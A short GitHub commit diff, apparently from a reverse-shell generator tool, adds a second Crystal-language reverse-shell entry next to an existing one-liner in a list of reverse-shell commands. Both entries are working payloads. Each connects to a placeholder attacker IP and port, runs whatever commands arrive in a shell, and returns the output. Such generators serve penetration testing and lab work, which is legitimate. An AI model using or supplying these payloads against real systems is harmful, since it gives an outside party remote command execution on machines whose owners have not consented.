add code vs system

This commit is contained in:
Alexandre ZANNI 2023-03-19 21:59:27 +01:00 committed by GitHub
parent be52265426
commit 58bcedcbf8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -361,10 +361,15 @@ const reverseShellCommands = withCommandType(
"meta": ["linux", "mac", "windows"]
},
{
"name": "Crystal",
"name": "Crystal (system)",
"command": "crystal eval 'require \"process\";require \"socket\";c=Socket.tcp(Socket::Family::INET);c.connect(\"{ip}\",{port});loop{m,l=c.receive;p=Process.new(m.rstrip(\"\\n\"),output:Process::Redirect::Pipe,shell:true);c<<p.output.gets_to_end}'",
"meta": ["linux", "windows", "mac"]
},
{
"name": "Crystal (code)",
"command": "require \"process\"\nrequire \"socket\"\n\nc = Socket.tcp(Socket::Family::INET)\nc.connect(\"{ip}\", {port})\nloop do \n m, l = c.receive\n p = Process.new(m.rstrip(\"\\n\"), output:Process::Redirect::Pipe, shell:true)\n c << p.output.gets_to_end\nend",
"meta": ["linux", "mac"]
}
]
);